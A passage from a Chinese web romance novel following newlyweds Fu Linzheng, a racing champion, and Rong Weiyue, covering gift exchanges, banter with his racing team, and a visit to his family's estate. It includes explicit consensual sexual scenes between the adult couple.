“这样啊,嫂子好好休息……”
大家没多想,容微月脸红埋在他颈间。
谁能想到他们如此荒唐……
“你们先过去,我十五分钟后到。”傅蔺征如常道。
“好咧。”
回到办公室,傅蔺征反锁门,先抱着她去里间的淋浴室冲洗,而后给小姑娘换上他放在这里比较舒适的衣服,而后抱她到休息室的床上。
他耐心先给她泡了杯热茶,又给她穿上袜子,把她抱在怀中,“冷不冷?”
她摇摇头,“不冷……”
“就在这里眯一会儿?没人会来打扰。”
她乖乖应了声,看他漆黑利落的眉眼透着餍足的模样,轻哼:“以为你都没力气训练了,我看你现在状态更好了。”
他轻嗤勾唇,“就刚刚那么一会儿,老子根本就没觉得累。”
“……”她都感觉要散了,这人还云淡风轻,这是什么体力悬殊。
她软声道:“你不用管我,赶紧去忙。”
傅蔺征应了声,亲她脸颊:“宝宝,我等会儿就回来找你。”
傅蔺征也换了衣服,走出办公室,有队员迎面走来,还傻乎乎问:“征哥,嫂子没事吧?她身体不舒服,要不要叫队医过来看看啊?”
没人会猜到他们刚刚是去做了那种事……
傅蔺征舌尖抵了抵上颚,轻咳两声,低沉道:“不用,她就是困了。”
“好……”
傅蔺征去忙,另一头容微月躺着,累得小憩了会儿,睁开眼时已是一个小时后。
外头天都快黑了,她体力恢复了些,懒洋洋伸了个懒腰,觉得无聊,还是换了衣服走出办公室。
正好遇到车队的维修员,对方朝她热情笑:“嫂子你要找征哥吗?我带你去,他估计
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快练完了。”
“好的谢谢。”容微月淡笑。
队员忍不住看了她几眼不禁感慨征哥也太幸福了那么臭屁的人能娶到这么漂亮温柔的嫂子!!
俩人往前走队员笑道:“嫂子还记得那次征哥抱你去医务室我们一眼就看出来他没放下你我们私底下都在猜他能不能重新追回你还好他功夫不负有心人。”
容微月笑眼盈盈:“是我幸运没错过他一开始我都不知道他做了那么多。”
“对了之前那辆车是你的吧?”
对方报了型号容微月怔愣点头队员道:“当时我们还纳闷呢这车就坏了一个电源感应器征哥突然把它开来碰都不让我们碰非要自己修。”
傅蔺征身为世界冠军身后有一整套庞大的团队与后勤他平时根本不必亲自动手
容微月呆住:“我的车当时毛病不是很大吗?”
“没有啊就一个小零件坏了换一下就好了征哥五分钟就修好了。”
???那他当时还说了那么一串词吓唬她?
她终于明白这人故意扣留她的车两三周原来是想送她上班。
傅蔺征要说腹黑第二可没人敢说第一……
队员又道:“但是征哥又给了我们很长的一页保养清单让我们把你车上从里到外都升级了一遍就想让嫂子开得更舒服。”
容微月回忆起当初坐进车里的感觉确实焕然一新连驾驶的手感都不一样“那些保养的肯定比我车贵很多吧?”
队员笑笑那都能买她的车十几辆了“嫂子征哥才不注意这些只要能对你好他做什么都觉得值得。”
容微月闻言心间柔软塌陷泛起温暖。
哪怕她当时还不是他太太他对她的好也从来没保留。
走到实地训练场车队其他人和她打招呼容微月站在维修区的安全线后就听到远处传来层层叠起的引擎声浪震得人心口发紧。
过了会儿那抹黑色的车影猛地冲进视野像一道利箭利落滑过弯道刹那间耳边轰鸣震得胸腔发紧她下意识屏住呼吸。
车身和地面擦出火星子带着焦味弥漫在空气中她发丝都被吹了起来。
强烈的冲击力迎面直来。
带着人都肾上腺素飙升心跳加速。
在赛场上的傅蔺征和平时完全不同。
张扬自由野性带着无所畏惧的疯狂。
她看着不禁心生崇拜。
年少时驰骋的风比黄金都贵她希望傅蔺征永远都这么意气风发拥有想要的人生。
车里傅蔺征头盔下的黑眸锁定
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前方他一边和工程师沟通
入弯、漂移、加速每一个动作都干脆利落。
过了会儿黑影逐渐减速轰鸣声由暴烈变得低沉最终一圈结束车子冲回维修区的黄色标线内刹车声尖锐而短促。
热浪卷着烧焦的气息散在空气中容微月看见车门被推开傅蔺征修长的腿跨下车摘下头盔额前的黑色碎发被汗水打湿五官线条凌厉全身像是裹着火焰走出来荷尔蒙爆棚帅得无比。
周围的车队成员围了上来递水的递水讨论数据的讨论数据傅蔺征交流几句转过头视线朝十米开外不敢上前的容微月落来。
男人唇角勾起肆意的笑两个指节慵懒一弯示意她过来。
她心河被投下颗石子走到他面前他摸摸她脸“怎么过来了?休息好了?”
“嗯闲着无聊就想过来看看你训练累不累?”
傅蔺征仰头喝完矿泉水舔了舔薄唇拖腔带调道:“还行就是脸上都是汗也没人给擦一擦。”
容微月闻言不禁弯眉旁边有车队成员笑嘻嘻过来:“征哥我给你擦擦?”
“……滚。”
大家哈哈大笑容微月羞赧拆了包纸巾眸光亮亮看他声音轻柔:“你低下点头呀。”
男人闻声漫不经心应了声微微弯下高大的身影将她笼罩容微月轻轻踮起脚尖细细替他拭去额角和脸颊的汗珠。
暮色一点点沉落远处的天际朦胧了边缘训练场的灯光亮起温暖地洒在两人身上。
傅蔺征黑眸直勾勾盯着小姑娘漂亮温软的面容唇角弧度压不住浅浅扬起。
周围队员们看着纷纷起哄:“杀狗了!!这也太甜了吧!!”
“征哥你什么时候这么做作了流个汗还要人擦!”
容微月赶紧帮他擦完脸颊红得像涂了番茄汁傅蔺征拉住她朝车队成员悠然挑唇:“不好意思啊我老婆就宠着我。”
“**太过分了哈哈哈!!”
“不行赶紧去吃饭宰这个有老婆的一顿!”
傅蔺征让大家先去餐厅而后带着容微月往办公室走去前者嗓音慵懒:“怎么样刚才我开得如何?”
容微月眼眸弯弯:“特别帅我不太懂那些专业的但是就是感觉你比六年前更加厉害了。”
他挑眉“当然各方面都厉害了。”
她脸红嗔他傅蔺征正经道:“今天只是日常训练以后带你去国外看我比赛嗯?”
“好我给你去加油鼓劲。”
好遗憾
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那年他拿世界冠军,她没有办法陪在他身边,以后的日子还好她不会错过了。
回去傅蔺征去冲了个澡,俩人去往吃饭的地方。
路上容微月和傅蔺征说了她车的事,傲娇道:“果然某些人心机深重,嘴巴上还说忍一忍麻烦,实际上天天套路我。”
傅蔺征嗤笑:“我能套路到你?你还不是转头当天就买了个电动车,能把我气死。”
她笑,“那我真的以为你怕麻烦。”
傅蔺征握住她的手,“麻烦什么,甘心乐意,以后我送你上下班。”
“好……”
晚上车队全员热热闹闹去吃了火锅,大家祝贺着傅蔺征和容微月新婚快乐,席间起哄笑闹,其乐融融。
车队的人都很喜欢容微月,打趣说以后要替她监督傅蔺征,不允许任何女人来搭讪,傅蔺征轻笑:“不需要你们,我自己不会守男德?”
“哈哈哈征哥男德班代表……”
容微月笑笑,这点上她还是很信任他的。
大家聊着天,容微月也得知了过往六年傅蔺征事业上的拼搏和荣耀,既心疼他辛苦,又替他骄傲,虽然他们分开,但他们都没有停留在原地,都在变得更优秀。
饭后,俩人和队员们道别,驱车回家。
布加迪行驶在夜色中,道路川流不息,霓虹温暖投下光影。
一路开回去,路上挺堵的,容微月想到每天傅蔺征都是这样回到禾盛庭:“要不然我们搬去市中心吧?找个我们俩工作地方的中心点?”
“不用,就这样挺好,你早晨能多睡会儿。”他多跑跑又没什么,她方便就好。
容微月努嘴:“你这样太辛苦了,怎么这么笨,我一直以为你训练的地方离我很近的。”
男人一只手搭在手刹上,闲闲牵住她,唇角挑起慵懒桀骜的弧度:“能追回你,这点辛苦算什么?每天多开开就习惯了,反正回家都能看到你,这就是我最大的动力。”
过往那六年,他在世界各地飞来飞去比赛训练,他就像没有线的风筝,对任何地方都没什么家的归属感。
可重逢遇到她以后,他才像是被重新系上了线,每天都不一样了。
容微月心软弯唇:“我也是这样,以前租在那个房子,每天都觉得好压抑,搬来禾盛庭以后,我就期待回家了,想见到你和呼呼,还想和你一起遛狗狗逛超市,和你一起吃饭。”
傅蔺征嚼着青橘糖,笑了笑:“之前是你室友,现在是你老公,以后每天我们可以在一起做很多事,你有什么兴许爱好,我陪着你。”
她想了想:“我其实从小到大爱好也不多,挺无趣的,就喜欢拉小提琴,看电影,做手工,和你在一起做什
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么都好。”
她指尖轻挠他掌心,浅笑:“还有喜欢和你zuo爱,
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算吗?”
傅蔺征唇角扬起,嗓音勾人:“看不出来乖宝宝喜欢这个啊?那还不容易,以后我们多做,嗯?”
一路上,这人格外不安分,勾着她聊了好多那种话题,dirtytalk随时随地就来,撩着她脸热心燥,投降了让他好好开车。
回到家里,呼呼跑过来,围着俩人打转,傅蔺征抱起它,走去厨房,“傅呼呼,看在你昨晚很乖没刨门的份上,今晚嘉奖你一顿大餐。”
呼呼哼哼两声,傅蔺征揉揉它头,睨它:“接下来每个晚上都这么乖,好处少不了你的。”
呼呼用爪爪拍走他手,表示拒绝合作。
容微月去书房忙碌了会儿,而后拿着一个东西走出房间。
傅蔺征在厨房里给呼呼弄着水煮菜,她走过去笑着摸了摸坐在料理台上等待的小家伙脑袋,问傅蔺征:“你弄好了吗?”
傅蔺征把降下温度的菜放进盘子里,“再切个蛋,怎么了?”
“没事你先忙……”
他瞥到她藏在身后的东西,“手上拿了什么?”
“……”
没想到这人眼神这么好,她干脆拿出来,“给你准备了个小礼物,等你弄完吧。”
傅蔺征洗了个手,把她拉去客厅,“容微月,送人礼物能不能有点诚意,这不应该第一时间给我,吊人胃口?”
“你不管呼呼了?”她笑。
“让它先吃那些,又饿不死。”
呼呼吧唧嘴,抬头瞪了他一眼。
傅蔺征坐到沙发上,把容微月抱到怀中,她没想到他那么期待,含笑递过去一个精致的木盒:“不是什么很贵重的礼物,是我自己做的,就当做个迟来的新婚礼物吧。”
傅蔺征挑眉掀开盒子,里头是一条黑绳手链。
黑绳双股交绕,绳结细密锁住中央的一枚波浪长方形小银牌,银牌用花丝镶嵌勾着一个祥云缠枝的形状,中间是着“FLZ&RWY”的浮雕字样,手链还坠着一枚细小的月亮银片和一个红石榴珠。
“前段时间就想给你做个手链了,这个缠枝云纹和红石榴在古代是保平安的寓意,希望能保佑你每次比赛完都能平平安安回到家,我永远在家里等你。”
容微月垂下眼,声音轻轻:“阿征,之前重逢的时候,我口是心非对你说了很多伤人的话,我说我很讨厌你,说当初说玩玩而已,其实都不是真的,是我不敢直面我内心真实的感情,我以后不会这样了。”
她握住他带着素戒的右手,看向他;“从前你为我付出了那么多,以后换我更爱你好不好?虽然我的爱和你的没办法相比,
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但可以一点点累积,我会让你感受到的。”
傅蔺征闻言黑眸滚热,揉了揉她的头:“容微月,之前那些事都过去了,不许再愧疚了知不知道?”
他柔声道:“而且我更爱你难道不是理所应当的?你就好好爱自己,我负责好好爱你,懂么?”
她就好好爱自己,他负责好好爱她。
容微月闻言,鼻尖泛酸。
她感动点头,傅蔺征把左手伸过去,唇角弧度明显,“行了,不许哭,还不给你老公戴上?”
她弯唇拿出来,把黑绳绕过他手腕,扣好卡扣,长度正合适:“怎么样,喜欢么?”
“嗯哼。”
他老婆送什么他都喜欢。
傅蔺征看着银牌,“这上面很像潮汐,和我送给你的项链还挺像是一对。”
她想到老师昨天说傅蔺征捐建的第二栋楼也叫潮汐楼,“你很喜欢潮汐啊?”
“月亮和潮汐,不是很配么?”
傅蔺征哑声道:“不是有个现象,叫做潮汐锁定。”
月亮的表面牵引着地球表面的水体,潮汐因月而起,月亮牵引潮涨潮落。
她怔了怔,心口发热,傅蔺征柔言:“潮汐伴随着月亮的阴晴圆缺,月亮和潮汐之间,是永恒不变的引力规律。”
傅蔺征炽热的黑眸倒映她:
“所以,你也是我的万有引力。”
永不分离,炙热不息。
容微月钻进他怀里,感动抱住他:“你对我也是这样。”
她有了他,也才有了意义。
傅蔺征倾身,温柔的吻落下,半晌一吻结束,他想到什么,揉揉她脸:
“要不说我们夫妻就是心有灵犀呢,天天都能想到一块儿了。”
“什么?”
“我也有礼物给你,”傅蔺征道,“本来想明天放在你琴房让你自己发现的,现在我高低得礼尚往来一下,不让你吃亏。”
容微月笑笑,看他走去房间,出来时拿着一个很大的盒子,沉甸甸递给她,她诧异:
“是什么?”
“自己打开看看。”
她打开,里面是个长方形琴盒,里头深酒红色绒布上,赫然摆着一个新的小提琴。
她震惊:“你怎么又给我送琴?”
傅蔺征勾唇:“之前高中的琴挺好的,但是毕竟用六年了,还是想送你把更好的。”
这是一把更加漂亮的小提琴。
深栗色琴身,木纹清晰,明显是极好的材质,光泽油润明亮,尾部加上了特殊定制,内侧镶着一颗月光石,同样的还有雕刻着那串英文。
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傅蔺征为她拍下的是个百年品牌的稀世珍品市面上早已难求价格直上七位数他还让人加了工让它成为世界上独一无二只属于她的小提琴。
容微月心尖发颤垂眼:“傅蔺征我现在也不是专业的小提琴手你没必要花这么多钱给我买这个的我不需要用这么好的……”
傅蔺征脸黑轻捏她脸:
“容微月你再说没必要试试?”
他不想她有任何的不配得感“什么叫不需要?不是专业琴手又怎样只要你还想拉小提琴这就是你的我的月月永远都配得上一切最好的。”
容微月眼底湿润其实她当年放弃走这条路后根本都不敢再幻想什么但只有傅蔺征一直记得又是琴房又是新的小提琴他总是温柔守护她的梦。
他才是照亮她前方的微光。
她知道这是他的心意感动珍视莞尔:“谢谢我好喜欢以后我就用这把琴。”
她靠在他怀中“老公你怎么那么好。”
男人压下唇角低头直勾勾看着她“夸我不需要实际行动?”
她听出话中之意脸红“还来呀……”
他戏谑:“你刚刚在车上不是还说喜欢?”
她心尖荡漾这时呼呼哒哒哒跑过来在地毯上看向傅蔺征朝他凶凶地嗷嗷叫容微月笑着从傅蔺征怀中躲出来:“你看看你儿子饿得都来控诉你蛋黄还没给它切呢你赶紧去。”
傅蔺征脸黑:“傅呼呼你今天少吃一个蛋黄会怎样?”
呼呼咬着他裤脚不爽用小爪子拍它。
傅蔺征无奈扯唇把它抱起来“我怎么养了你这么个难伺候的祖宗和你妈一样。”
容微月弯眉嗔他:“傅蔺征!”
他去厨房
中途傅蔺征想进来谁知道她反锁了门。
外头的男人低哑道:“月月开门。”
现在才九点多呢这时候放他进来那得要几个小时候啊……
她傲娇道:“不许进来你敢拿钥匙我今晚就不让你碰了。”
傅蔺征:“……”
最后容微月洗完澡走出去就看到男人坐在床边看到她立刻起身过来把她圈在怀中宽阔结实的胸膛把她整个人都笼住虎视眈眈。
这人还好意思说呼呼着急呢……
容微月弯眉推他胸膛:“傅蔺征你怎么那么着急你下午刚吃的……”
他嗓音低低吻她耳垂“又饿了不行么?今晚就再三次好不好?”
就三次???三
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第 45 章 chapter45傅蔺征向来特别...
第45章第四十五章
【chapter45傅蔺征向来特别坏,高中时候就这……】
chapter45
傅蔺征向来又坏又会玩,高中时候就这样。
毕业有一次同学聚会,她就和其他男生聊得很开心,故意刺激他,晚上就被傅蔺征抓去了公寓。
她纤细的腕口被绑在床角,如仰卧的毛茸茸小猫咪,傅蔺征精壮如铁的身躯如一道墙困住她,用黑痣狠打月亮,混坏道:
“宝贝,自己数着,打够一百下才行。”
这是超乎想象的,容微月很快就哭着说不要,傅蔺征毫不留情,坏得要命:“不要什么?小朋友不乖不需要打戒尺?”
戒尺在他手里一下下落下,最后如同捞出来般洇盈,她哭得小脸通红,傅蔺征吻着她耳垂,扯唇喟叹:“宝贝,打一百下,你就…了三次,怎么这么没出息啊?”
她羞哭说再也不要理他了,傅蔺征把她捞过来就是meng开大合,那晚直至天边泛起鱼肚白,她累到动弹不了被他抱起来,踏过狼藉的地面和四处的雨伞,小猫身上都是椰子汁,他身上也都是她的。
这人有多坏,她是见识过的。
六年后,只会比从前更甚。
此刻他大胆的话从耳骨钻入,引得人心口发震,容微月弹可破的脸颊霎时透出薄红,心跳乍乱作响,羞炸:“傅蔺征……”
这人怎么能这么……
傅蔺征把她堵在怀中,热气喷洒在她耳畔,哄她:“不量么?把它放出来玩一下,好不好?”
?这要放出来,没过几个小时估计是关不回去了qwq了……
容微月眼睫如雨夜的蝴蝶扑簌翅膀,被他哄着,终究抵不过骨子里暗藏的念想,听话照做。
六年后的戒尺更加狞恐狰怖,青血紫管分布如阿尔卑斯山脉,黑痣勾人,无论从哪个角度来看,都是超乎常人的夸张。
小姑娘宛若去到一家俄罗斯风味面包房,逛了一圈,想买个大列巴,随手一拿去称,店员笑道:
“哎呀,这是我们店里的隐藏款,个头最大最粗的列巴王,平时很少有人能一下子挑中,一般客人一个人都吃不完,你可真厉害。”
容微月:想哭QAQ.
她脸颊仿佛有焊枪在烘烤,红如滴血,傅蔺征指腹按着她软唇,嗓音沉哑:“宝宝,看到了么,它好喜欢你。”
男人带小姑娘买完列巴,去到隔壁的鸡蛋批发店:“沉甸甸的,还有好多。”
她被带着掂了掂,整张脸炸红。
昨晚和下午都那么,怎么现在还……
傅蔺征问她如何,她从来也不是个怂的,红唇吐气,软声承
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认:“好喜欢……”
男人唇角一勾容微月拿过尺子他拦住气音沉沉:“宝宝现在不准还没完全。”
容微月:??
这现在都这么…竟然还没?!
傅蔺征看她瞪大的眸勾唇蛊诱:“没事宝贝你和它打个招呼就可以了。”
大学时候她在驾校学的是手动挡汽车倒车入库已然格外熟练不过片刻落在她头顶的呼吸愈发沉重男人臂弯收紧容微月仰起媚眼看他:“它真的好喜欢我呀。”
疯了怎么能怎么钓。
傅蔺征知道她真是个宝贝喉间干灼眼底暗念滚着汲着她唇的甜半晌沉着呼吸:“宝宝现在可以了。”
她真夸张得感觉又上了一层楼。
一比发现——
二十厘米的尺子竟然短了。
容微月脑中炸了两段量完傅蔺征悠悠问:“多少。”
容微月埋在他耳边说了数字声音细软想哭:“傅蔺征你能不能别这么恐怖……”
男人低笑“你不是说一般?”
“……”
是她大放厥词了。
难怪她当初怎么觉得那么难玩游戏一开局就进入地狱模式游戏小白怎么能行她委屈瞥他:“我就说不匹配……”
“不是都匹配得好好的?”
她脸红“很费劲的……”
傅蔺征轻笑了声唇齿贴着她耳廓磁沉气音塌陷在耳廓:“是啊宝宝好浅我每次都能ding到…口。”
小瓶青梅酒本来容量有限木塞都快超过瓶身那还得了她羞得捂脸傅蔺征夸赞:“不过宝宝很棒刚开始难多吃几次越来越没问题了。”
她说过不过他抬起头忍不住堵住他声音
高楼的落地窗反射着书房昏黄的暖光偶有风吹过薄纱窗帘轻轻摇曳米白色睡裙被风吹得褶皱。
半晌傅蔺征垂眼看着怀中的小姑娘所坐的桌子喑哑喟叹:“怎么那么多啊。”
她可真是个宝贝。
容微月脸颊透红庆幸刚刚都把工具推开了咬他喉结“都是因为你……”
“好等会儿我来处理。”
他紧紧搂住她呼吸沉沉:“我们回房间继续好不好?”
阔别六年才再度拥有怎么可能是昨晚和下午简简单单就够的晚上小姑娘回到家他就想了只想探索她世界的每个角落。
而这对容微月来说也是如此高中的时候她就已经适应他的大胃口小猫爪挠人也想品尝大列巴红唇轻吐:“嗯……”
下一刻傅蔺征直接把她扛起。
窗外夜色静谧整片城市被暮
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色笼罩远处霓虹灯在玻璃上映出模糊的光影街道的车灯拖出细长的光线宛若流动的星河。
容微月跌入柔软吻就落了下来半晌傅蔺征打开抽屉“宝宝今晚试试这个好不好?”
她看到那luo纹tu点瞪大眼睛想起当初她最害怕这个“能不能不要……”
他吻她鼻尖明知故问:“为什么不要?”
她瘪嘴:“我会…很多的。”
傅蔺征扯起唇角:“你什么样不会?老子用什么你都会。”
在这种事上傅蔺征是说一不二的强势他扯过浴袍垫在她躺着的地方搂住她:
“宝宝tui架我肩上。”
房间里窗外夜风卷入白色纱帘轻飘她心跳如鼓就被拉入旋涡。
-
翌日太阳升起。
窗外的天边湛蓝无比几朵棉花云飘在空中。
容微月迷迷糊糊睁开眼从梦中醒来。
她看向周围是在一个客房里。
她翻了个身就感觉自己像是一团被重新揉捏的软乎乎饭团
此刻的饭团一片海苔都没包白白光光但到处粉粉的像撒了好多樱花花瓣。
呜呜呜好累……
容微月再度想到昨天那结果——22.5。
这人是正常的亚洲男人吗……
关键是直径也不小呜呜呜。
不过和喜欢的人做喜欢的事真的好快乐她就喜欢和傅蔺征酱酱酿酿和他在一起就好开心。
小饭团翻滚了两下勉强适应寿司醋的酸度。
房间里空无一人她趴在枕头上拿出手机打电话给傅蔺征。
那头男人正开完会走出会议室身上一袭剪裁合体的深炭灰三件套西装黑色大衣披在肩头单手插兜肩背挺拔勾勒出冷厉的轮廓黑色皮鞋踩在地面步伐声冷硬清晰步步生风。
刚开完高层会议他眉目带着冷骜身后乌泱泱跟着一群高管和助理口袋里手机震动他看到是容微月眉眼化开柔意接起:
“宝宝醒来了?”
容微月应了声软声咕哝:“你在哪儿呀?我醒来没看到你。”
“我爸叫我来集团开个会结束了我去买菜回家给你做饭你等我回家。”
他的语气宠溺如水和昨晚的模样判若两人她轻哼:“好你要买什么?”
“酸菜鱼葱油焖鸡再来个你爱喝的萝卜干贝汤宝宝还要吃什么?”
“还想要来个车厘子慕斯吧。”
他勾唇:“好那你先起来洗漱吃早餐不要饿肚子嗯?”
“好……”
傅蔺征身后的怀裕默默听着暗
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暗震撼到。
谁能想到平日里高高在上、十指不沾阳春水的傅大少爷婚后要去买菜回家给太太做饭还一口一个宝宝的这人夫感也太强了……
通话结束那头容微月也爬起来去洗漱走出客房呼呼也跑过来她笑着抱呼呼先吃了早餐又点了点东西。
而后她去到书房里面桌面干净整洁看不出来昨晚的胡闹。
她脸热掐灭回忆去处理公事呼呼在她旁边陪着她中午傅蔺征回来了拎着一堆菜和给她买的水果和甜品。
傅蔺征走进书房容微月被他今天这身矜贵的打扮帅到弯眉“你回来了?”
“路上有点堵”他摸摸她的脸“饿不饿?”
容微月说吃了早餐把平板推给他看:“我在给画之前你定制给爷爷生日的寿桃稿图
“来得及老爷子生日是明年三月份的。”
傅蔺征看了图说很好看容微月淡笑:“我想着是这个算我个人的心意不收钱了我把定金退给你。”
傅蔺征倚着桌子勾唇揉揉她耳垂“怎么当孙媳妇了想好好表现啊?”
容微月羞赧“当初本来也是你帮我工作室的主要是你花钱在我这儿买再送给爷爷怪怪的……”
“这钱不单单给你是和整个工作室有关何况我们结婚了至于分你的我的?”
傅蔺征说他既然花了钱就不会收回来他出钱她出力这也是代表她的心意“无所谓老爷子不讲究这些有个孙媳妇他都笑了开花了。”
容微月腼腆温软笑:“那好吧后面生日我再给爷爷准备礼物。”
她起身钻进他怀中亮着眸子看他傅蔺征摸摸她头吊儿郎当打趣:“怎么了今天这么黏我昨晚给你zuo爽了?”
“……”
她脸红“傅蔺征你能不能正经点……”
男人垂眼看她笑得痞坏:“难道没有么?昨晚你自己什么样需要我帮你回忆?”
她让他不许再说了“我还想让你给我推个轮椅回来了呢我都累得走不动路了。”
傅蔺征嗓音含笑压低:“那你今天挂我身上我照顾你?抱着你吃饭抱着你睡觉抱着你上厕所抱着你……”
她羞笑:“才不要!”
最后她还是被他抱了出去走到厨房傅蔺征单手抱着她单手处理菜而后他看到了一盆生蚝眼睛微眯:“这什么?”
她咕哝:“我给你点的给你补补……”
生蚝有利于生金傅蔺征咬她耳垂:“你还嫌我存得不够多是吧?”
她脸红“不管你这几天一定要补补我怕你不行了。”
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傅蔺征舌尖抵腮混坏道:“行你买什么我都吃反正最后都补到你里面。”
“……?”
他戴着怎么补……
她羞赧从他怀中跳下来不和他再聊这个话题走去帮忙去洗青菜。
中午是丰盛的三菜一汤容微月说做太多了傅蔺征挑眉“没事我们现在都是体力劳动者。”
她哦了声压下唇角。
两人并排坐到餐桌前吃饭前傅蔺征想到什么拿起手机给手上的黑绳手链拍了好几张发给夏斯礼悠悠然道:
【就说手上怎么这么痒呢低头一看原来是我老婆给我做了个手链啊。】
傅蔺征的手很好看手背宽阔骨骼修长分明青色血管沿着筋络蜿蜒凸峥指节修长而冷峻平日里精准操控着赛车的方向盘带着满满的力量感和掌控感此刻无名指戴着个月亮婚戒手腕又被一个黑绳拴住。
夏斯礼:【???微月给你做的行啊你小子又给你幸福到了!】
傅蔺征感慨:【又是项链又是手链
夏斯礼:【……】
他能不能冲过去打他啊?
傅蔺征给夏斯礼嘚瑟完还不够还发到了七个小伙伴的群里里头几个朋友吃到狗粮不爽开骂夏千棠道:【@容微月月月你赶紧出来管管你老公太嘚瑟了。】
容微月不禁笑就见傅蔺征拿过手机替她回复:【我老公我宠着。】
夏千棠:【……?】
湖安:【??】
夏斯礼:【绝逼是阿征拿微月手机回的。】
付则承:【傅蔺征你别装了。】
容微月看到咕嘟嘟喝果汁眼睛弯成星星:“看到没有人家都看出来了这话一看就不是我会说的。”
傅蔺征轻嗤把她拉到怀中“怎么你不是这么想的?吃着我做的饭喝着我榨的果汁容微月你能不能有点儿良心?”
她把笑意藏在眼尾:“好好好我宠你。”
吃完饭容微月去琴房把昨天傅蔺征给她新的琴拿出来试试。
琴声格外好听明显音色和音质比原来的更好温润轻盈。
她沉浸其中过了会儿手机进来一条信息来自柯尹梦:【微月我最近在忙音乐会筹备的事一直没时间联系你下周有空一起出来聊聊天呀?】
上次在音乐会加上柯尹梦后她们回来没再联系过主要是她也不知道找对方聊些什么如今已然是不同圈子的人。
小时候容微月和柯尹梦在机构里被称为“小提琴姐妹花”形影不离有年冬天机构暖气坏了容
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微月买了烤红薯和柯尹梦窝在琴房里,约定好一个人拉琴,一个人用烤红薯热手,轮流交换琴来练,本来说好不能偷吃,结果最后还是笑成一团,把红薯抢着分完。
现在,也只有柯尹梦实现了梦想。
容微月想到曾经美好的时光,也找不到理由拒绝:【好,有时间的话。】
容微月锁上手机发呆,半晌身子被人从背后环住,带着熟悉的薄荷冷香将她整个包裹。
“小猫?”低沉慵懒的声音在耳畔响起。
沙发上的她怔了下,回头对上傅蔺征挑起的眉,“在想什么,走神成这样?”
她眨眨眼说没事,缩进他怀中,汲取他身上的温暖,傅蔺征捏捏她脸,吊儿郎当笑:
“我发现你现在越来越黏我了啊,一个小时没见就这么想我了?”
“嗯……想你。”
傅蔺征垂眼看她,“要不回房间再说想我?”
她脸红嗔他:“大白天呢……”
男人懒洋洋靠向沙发,不再逗她,问她是不是又什么心事,容微月把刚才的事告诉他:“有个曾经练琴的朋友联系我,叫我下周有空出去聚聚。”
“男的女的?”
“男的。”
???
他脸黑搂住她:“你要单独和男的去约会?不许去,你要实在想见,我陪你一起。”
容微月笑颜溅到酒窝里:“傅蔺征,你就是个醋坛子,当然是女的,柯尹梦你还记得吗?之前经常和我在一起练琴的,她从国外回来了。”
傅蔺征对无关紧要的人从不在意,但毕竟当初和他女朋友有点关系,他依稀记得:“那个瘦瘦的,脸上有块疤的?”
柯尹梦小时候脸上被烫伤,留下一点疤,傅蔺征说这话并无其他意思,只是印象中确实是有这么个内敛安静的女生和容微月走得比较近,当初他接容微月练完琴回家,给她买了零食,她都会分给柯尹梦。
容微月点头说是她,“我们上大学后就没联系了,上次和殷绿去听音乐会,她是独奏嘉宾,她现在可厉害了,世界各地巡演。”
傅蔺征看到她眼里滑过的羡慕,记得曾经小姑娘也有个办音乐会的梦,哪怕没什么观众。
他想替她实现所有的愿望:“等明年你有时间,我给你办一场小型音乐会?一场属于你的音乐会。”
容微月闻言眼底一颤,摇头:“不用了……”
傅蔺征疑惑:“你之前不是想要的么?你现在小提琴也拉得很好。”
她垂眼,喉间干涩:“以前我挺喜欢的……但现在能在你给我的琴房里练练琴,给你听,给我自己听,我就觉得很满足了,我不想要任何观众。”
傅蔺征感觉到她低落的情绪,
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语气顿了顿,抚着她脸颊,温声落下:“好,你不想要那就不办,反正我老婆拉琴这么厉害,只有
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我能听到,我还赚了。
容微月被他哄得暖心:“我这业余水平,也就你捧我。
“不好意思啊,老子就这么双标,不是我老婆拉的琴,我连听都不想听。
她浅笑,傅蔺征也提了进来找她的目的:“刚才我爸妈给我打电话了,我和他们说了给你过生日的事,他们邀请你今晚回老宅吃饭。
容微月愣住:“今晚?!
傅蔺征问:“你想去么?如果还有点紧张,我就找个理由推掉。
她之前听过傅家老宅位于京市西郊山麓,一片独立的园林,红墙黛瓦,百年古韵,格外神秘,不是一般人能踏足的。
容微月想到要在老宅第一次正式见到傅家长辈们,心里免不了有些忐忑,但想了想:“要不还是去吧,虽然有点紧张,但再不去就不合礼数了。
傅蔺征唇角弧度桀骜:“不用紧张,有我在,而且他们很期待见到你。
容微月看了眼时间,着急道:“我去换个衣服化个妆,都来不及了,你刚刚也不和我说……
傅蔺征失笑,让她慢慢来。
容微月跑去换衣服化妆,弄好后俩人往外走,容微月在玄关换鞋,弯下腰就感觉一阵酸疼袭来,她气鼓鼓抬脚踢了下身旁的人:“都怪你。
傅蔺征:?
“我腰都酸**。
男人笑:“宝宝,这也怪我,你自己多会扭你不知道?
容微月耳根抹了番茄酱:“今晚不给你了。
“不是做九休一?
??他那扑克牌还作数啊?
傅蔺征勾唇把她抵在玄关柜前吻着,一吻结束,半蹲下来给她换鞋:“公主,背你下楼,嗯?
“才不要……
傅蔺征不听她的,把人打横抱起,她脸红靠在他怀中,还好电梯是一梯一户,没人看到。
下午两人去了商场,其实容微月一早就给几位长辈做好了礼物,但她生怕不够,又去买了其他的,傅蔺征看她小心谨慎挑选礼物的样子,无奈笑:“我家里人不看重这个,你人过去他们就高兴。
“我知道你们家不缺,但该买还是要买的。
不是为了讨好,而是她爱傅蔺征,也想对他的家人好。
傍晚到达傅家老宅,走进去,黄昏的余晖洒落,青砖铺就的小道两侧种着了月季与石榴树,宅院大得一眼望不到尽头,空气中漂浮着花木清香,院墙高耸,将尘世喧嚣隔绝在外,只留下静谧与庄重。
容微月心头难免生出几分忐忑。
傅蔺征身为明恒太子爷,人生大事向来要慎之又慎,
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经过多方利益权衡考量,可她一句结婚傅蔺征就和她去领证了,若这事传出去,旁人多半觉得她是蓄意攀高枝。
她再度想到当初毕业时她打去的那通电话,当时傅家人似乎对她也挺冷漠……
然而她没想到,这些胡思乱想,在见到傅家人后,全都烟消云散了。
一走进去院中,傅母霓映枝正与佣人修剪玫瑰,转头见到他们,笑容如春风拂面;“回来了。
容微月被傅蔺征牵着立刻走上前,礼貌打颔首:“阿姨您好——
霓映枝含笑拉住她的手:“之前阿征只给我们看过照片,今天终于见到**了,月月生得真漂亮,是阿征这臭小子占便宜了。
容微月面颊染上绯色,傅蔺征懒勾唇:“是。
